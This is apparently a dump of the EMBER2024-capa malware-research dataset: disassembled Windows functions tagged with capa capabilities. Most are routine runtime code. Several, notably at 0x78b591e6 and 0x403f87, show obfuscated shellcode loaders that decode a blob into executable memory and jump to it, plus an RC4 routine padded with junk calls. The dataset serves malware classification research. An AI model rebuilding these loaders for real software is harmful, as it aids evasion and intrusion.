joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fb20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 2
push 0
push ebx
call fcn.0041b729
push ebx
call fcn.0041bd88
push 0
push 0
push ebx
mov esi, eax
call fcn.0041b729
mov eax, 0x400
test esi, esi
cmovs esi, eax
lea edi, [esi + 1]
push edi
call fcn.00414799
push dword [ebp + 8]
mov ebx, eax
push edi
push 1
push ebx
call fcn.0041b386
add esp, 0x30
mov dword [ebp - 4], eax
cmp eax, esi
jae 0x40fb80
lea ecx, [eax + 1]
push ecx
push ebx
call fcn.00418698
mov esi, dword [ebp - 4]
jmp 0x40fbe0
jbe 0x40fbe5
lea edi, [eax + eax]
mov esi, eax
push edi
push ebx
call fcn.00418698
push dword [ebp + 8]
mov ebx, eax
mov eax, esi
push eax
push 1
lea ecx, [eax + ebx]
push ecx
call fcn.0041b386
add esp, 0x18
test eax, eax
je 0x40fbd6
add esi, eax
cmp esi, edi
jne 0x40fbbc
add edi, edi
push edi
push ebx
call fcn.00418698
add esp, 8
mov ebx, eax
push dword [ebp + 8]
mov eax, edi
sub eax, esi
push eax
lea eax, [ebx + esi]
push 1
push eax
call fcn.0041b386
add esp, 0x10
test eax, eax
jne 0x40fba8
lea eax, [esi + 1]
push eax
push ebx
call fcn.00418698
mov ebx, eax
add esp, 8
mov eax, dword [ebp + 0xc]
mov byte [ebx + esi], 0
pop edi
mov dword [eax], ebx
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40fc00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 2
push 0
push ebx
call fcn.0041b729
push ebx
call fcn.0041bd88
push 0
push 0
push ebx
mov esi, eax
call fcn.0041b729
mov eax, 0x400
test esi, esi
cmovs esi, eax
lea edi, [esi + 1]
push edi
call fcn.00414799
push dword [ebp + 8]
mov ebx, eax
push edi
push 1
push ebx
call fcn.0041b386
add esp, 0x30
mov dword [ebp - 4], eax
cmp eax, esi
jae 0x40fc60
lea ecx, [eax + 1]
push ecx
push ebx
call fcn.00418698
mov esi, dword [ebp - 4]
jmp 0x40fcc0
jbe 0x40fcc5
lea edi, [eax + eax]
mov esi, eax
push edi
push ebx
call fcn.00418698
push dword [ebp + 8]
mov ebx, eax
mov eax, esi
push eax
push 1
lea ecx, [eax + ebx]
push ecx
call fcn.0041b386
add esp, 0x18
test eax, eax
je 0x40fcb6
add esi, eax
cmp esi, edi
jne 0x40fc9c
add edi, edi
push edi
push ebx
call fcn.00418698
add esp, 8
mov ebx, eax
push dword [ebp + 8]
mov eax, edi
sub eax, esi
push eax
lea eax, [ebx + esi]
push 1
push eax
call fcn.0041b386
add esp, 0x10
test eax, eax
jne 0x40fc88
lea eax, [esi + 1]
push eax
push ebx
call fcn.00418698
mov ebx, eax
add esp, 8
xor eax, eax
mov byte [ebx + esi], 0
test esi, esi
je 0x40fcdb
nop
cmp byte [eax + ebx], 0
je 0x40fce4
inc eax
cmp eax, esi
jb 0x40fcd0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call fcn.0041477e
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4104c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 8
call fcn.00414799
mov ecx, dword [ebp + 8]
add esp, 4
mov dword [eax], ecx
mov ecx, dword [ebp + 0xc]
push 0
push 0
push eax
push 0x410520
push 0
push 0
mov dword [eax + 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
push str.CreateThread_failure
setne cl
movzx ecx, cl
push ecx
push 0x330
push str.D:_acactuscactus_src_base_system.cpp
call fcn.0040e960
add esp, 0x10
mov eax, esi
pop esi
pop ebp
ret

Function at 0x412116
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x412155
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412155
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412155
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x412155
cmp dword [ecx + 0x74], 0xe
jbe 0x412155
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41bb81
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00411540
mov eax, dword [0x457b80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041b186
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41bbc3
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41bd1f
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00411570
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x45f838]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00418240
mov ecx, dword [esi*4 + 0x45f838]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x41bd18
cmp eax, dword [ecx + edi + 0x24]
jne 0x41bd18
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41bd18
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418240
add esp, 0x14
test edx, edx
jl 0x41bd18
jg 0x41bc8e
test eax, eax
jb 0x41bd18
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41bd18
jl 0x41bca8
cmp dword [ebp - 0x1008], eax
ja 0x41bd18
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41bcc6
test ebx, ebx
je 0x41bcff
cmp ecx, edi
jae 0x41bcff
mov al, byte [ecx]
cmp al, 0xd
jne 0x41bce0
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41bcec
cmp byte [ecx + 1], 0xa
jne 0x41bcec
inc ecx
jmp 0x41bcec
movzx eax, al
movsx eax, byte [eax + 0x457d50]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41bcc6
cmp edx, ebx
jne 0x41bcc6
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41bd1d
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00411457
leave
ret
Function at 0x41f95f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x45f838]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41f99f
cmp byte [ebx], 0xa
jne 0x41f99f
or byte [edi + eax + 0x28], 4
jmp 0x41f9a4
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41faa3
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41fa86
inc eax
cmp dl, 0xd
je 0x41f9d0
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41f9f6
cmp eax, ecx
jae 0x41fa04
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41f9b8
jmp 0x41faa3
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41fa81
cmp dword [ebp - 0x10], 0
je 0x41fa81
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x45f838]
test byte [eax + edi + 0x28], 0x48
je 0x41fa5b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41fa46
mov byte [esi], dl
jmp 0x41fa57
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x45f838]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41faa3
cmp byte [ebp - 1], 0xa
jne 0x41fa6a
cmp esi, ebx
jne 0x41fa6a
mov byte [esi], 0xa
jmp 0x41faa2
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041825e
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41faa3
mov byte [esi], 0xd
jmp 0x41faa2
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x45f838]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41faa0
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41faa3
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41faac
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x45f838]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41faf2
cmp word [ebx], dx
jne 0x41faf2
or byte [eax + edi + 0x28], 4
jmp 0x41faf7
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41fc5a
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41fc3a
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41fb38
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41fb6e
cmp eax, edx
jae 0x41fb7c
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41fb13
jmp 0x41fc5a
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41fc35
cmp dword [ebp - 0x18], 0
je 0x41fc35
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x45f838]
test byte [eax + edi + 0x28], 0x48
je 0x41fc0b
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41fbcf
mov word [esi], cx
jmp 0x41fc06
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x45f838]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x45f838]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x45f838]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41fc5a
pop eax
cmp word [ebp - 4], ax
jne 0x41fc1b
cmp esi, ebx
jne 0x41fc1b
mov word [esi], ax
jmp 0x41fc57
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041825e
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41fc5a
push 0xd
pop eax
jmp 0x41fc16
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x45f838]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41fc54
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41fc5a
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x422fdf
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x451038
push 0x451030
push str.FlsAlloc
push 0x1f
call fcn.00422e9e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423013
push dword [ebp + 8]
mov ecx, esi
call dword [0x42e1f0]
call esi
jmp 0x423019
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42305d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x451048
push 0x451040
push str.FlsGetValue
push 0x21
call fcn.00422e9e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423094
push dword [ebp + 8]
mov ecx, esi
call dword [0x42e1f0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42309c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x451050
push 0x451048
push str.FlsSetValue
push 0x22
call fcn.00422e9e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4230d6
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42e1f0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x427503
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4275a0
push ebx
push esi
call fcn.004274cc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00422c09
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42754d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42759f
push edi
push eax
call fcn.00420ed9
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42756d
call fcn.00420e9f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42759e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00422c09
add esp, 0x20
test eax, eax
jne 0x42758c
push edi
call fcn.00420e9f
jmp 0x427594
push ebx
call fcn.00420e9f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4275a3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4275b4
pop esi
ret
push ebx
push edi
push esi
call fcn.004274cc
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00420ed9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4275dc
push ebx
push esi
push edi
call fcn.00412a40
add esp, 0xc
push 0
call fcn.00420e9f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x427d36
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00427851

Function at 0x42cf40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42cf6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42cf6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x78b591e6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x78b591f5
pop dword [ebp - 0x24]
mov eax, 0xbdfae890
sub eax, 0x4545569b
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xef4a03dc
sub dword [ebp - 0x34], 0xa0f7be91
mov dword [ebp - 0x30], 0x85cd8e6a
sub dword [ebp - 0x30], 0x539a4225
mov dword [ebp - 0x2c], 0xf93f7e36
add dword [ebp - 0x2c], 0x530cc5f8
mov dword [ebp - 0x28], 0x246e725f
add dword [ebp - 0x28], 0xdb918da1
lea eax, [ebp - 0x34]
push eax
mov eax, 0xbba18de0
add eax, 0xbd138338
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x1b9124ba
sub dword [ebp - 0x34], 0xa71ebb64
mov dword [ebp - 0x30], 0xf17cb9ff
sub dword [ebp - 0x30], 0xb010588a
mov dword [ebp - 0x2c], 0x87ba8af6
sub dword [ebp - 0x2c], 0x244b1e8a
mov dword [ebp - 0x28], 0xcec894c8
sub dword [ebp - 0x28], 0xcec894c8
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x1e327a5a
add eax, 0x5a829616
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3fdff
push 0
call eax
mov ecx, 0x72ec4871
sub ecx, 0x72ebfba4
xor esi, esi
add esi, eax
mov edx, 0x7a4127c6
sub edx, 0x18907c6
add edx, dword [ebp - 0x24]
mov ebx, 0x8dda112e
add ebx, 0x5388a5c
mov edi, dword [edx]
xor dword [ebp - 0x20], 0xd388feec
sub edi, ebx
mov dword [esi], edi
add dword [ebp - 0x10], 0x564017f6
add esi, 4
add edx, 0xf1d9c492
sub edx, 0xf1d9c48e
loop 0x78b59319
add eax, 0x303ccc20
sub eax, 0x303ba619
mov ebx, eax
add eax, 5
mov ecx, 0xf9853343
sub ecx, 0x80d03343
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x78b6d35d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x78b7b310]
jne 0x78b6d367
repz ret
jmp fcn.78b6ed18
Function at 0x4025e9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x478900]
xor eax, esp
mov dword [esp + 0x208], eax
mov eax, dword [esp + 0x210]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x224]
mov ebp, pe_nt_image_headers32
push edi
xor edi, edi
mov dword [esp + 0x14], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x18], cl
cdq
idiv dword [esp + 0x22c]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x40261c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x402660
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x40263d
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x224], ebx
jle 0x402711
inc edi
and edi, 0x800000ff
jns 0x402693
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x18]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4026ac
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
sub esp, 0x10
movaps xmm0, xmmword [0x423450]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movups xmmword [esp], xmm0
call fcn.0040acb0
add esp, 0xc
mov ecx, 0x479958
fstp dword [esp + 0x14]
movss xmm0, dword [esp + 0x14]
movss dword [esp], xmm0
call fcn.004022db
push eax
call fcn.00401c08
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x224]
jl 0x402682
mov ecx, dword [esp + 0x218]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040640a
add esp, 0x20c
ret

Function at 0x4032df
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x40331c
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x15
push 0
mov byte [edi + esi], al
call dword [sym.imp.USER32.dll_OpenIcon]
mov al, byte [edi + esi]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x4032ed
pop edi
pop esi
ret
Function at 0x403f87
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push str.VirtualProtect
xor ebx, ebx
push str.kernel32.dll
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 4]
mov edi, 0x4ac
push ecx
push 0x40
push edi
mov esi, 0x478420
push esi
call eax
push edi
push esi
call fcn.004032df
pop ecx
pop ecx
call fcn.004032c5
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edx, 0x478420
add edx, 0x188
mov esi, 0x42d020
push esi
call edx
push str.dsikfhucIUsioa
push 0x479958
call fcn.00401100
push eax
call fcn.00401c08
add esp, 0xc
push ebx
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GdiComment]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x406bb7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406bf6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406bf6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406bf6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406bf6
cmp dword [ecx + 0x74], 0xe
jbe 0x406bf6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x415a78
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427258
push 0x427250
push str.FlsAlloc
push 0x1e
call fcn.004158e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415aac
push dword [ebp + 8]
mov ecx, esi
call dword [0x423150]
call esi
jmp 0x415ab2
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x415af6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427268
push 0x427260
push str.FlsGetValue
push 0x20
call fcn.004158e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415b2d
push dword [ebp + 8]
mov ecx, esi
call dword [0x423150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x416efd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416b9f

Function at 0x416f08
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416d2e
Function at 0x418573
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406f20
mov eax, dword [0x478900]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004152c4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4185b5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x418711
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00422050
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47a210]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00418999
mov ecx, dword [esi*4 + 0x47a210]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41870a
cmp eax, dword [edi + ecx + 0x24]
jne 0x41870a
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41870a
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418999
add esp, 0x14
test edx, edx
jl 0x41870a
jg 0x418680
test eax, eax
jb 0x41870a
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41870a
jl 0x41869a
cmp dword [ebp - 0x1008], eax
ja 0x41870a
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4186b8
test ebx, ebx
je 0x4186f1
cmp ecx, edi
jae 0x4186f1
mov al, byte [ecx]
cmp al, 0xd
jne 0x4186d2
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4186de
cmp byte [ecx + 1], 0xa
jne 0x4186de
inc ecx
jmp 0x4186de
movzx eax, al
movsx eax, byte [eax + 0x479280]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4186b8
cmp edx, ebx
jne 0x4186b8
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41870f
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040640a
leave
ret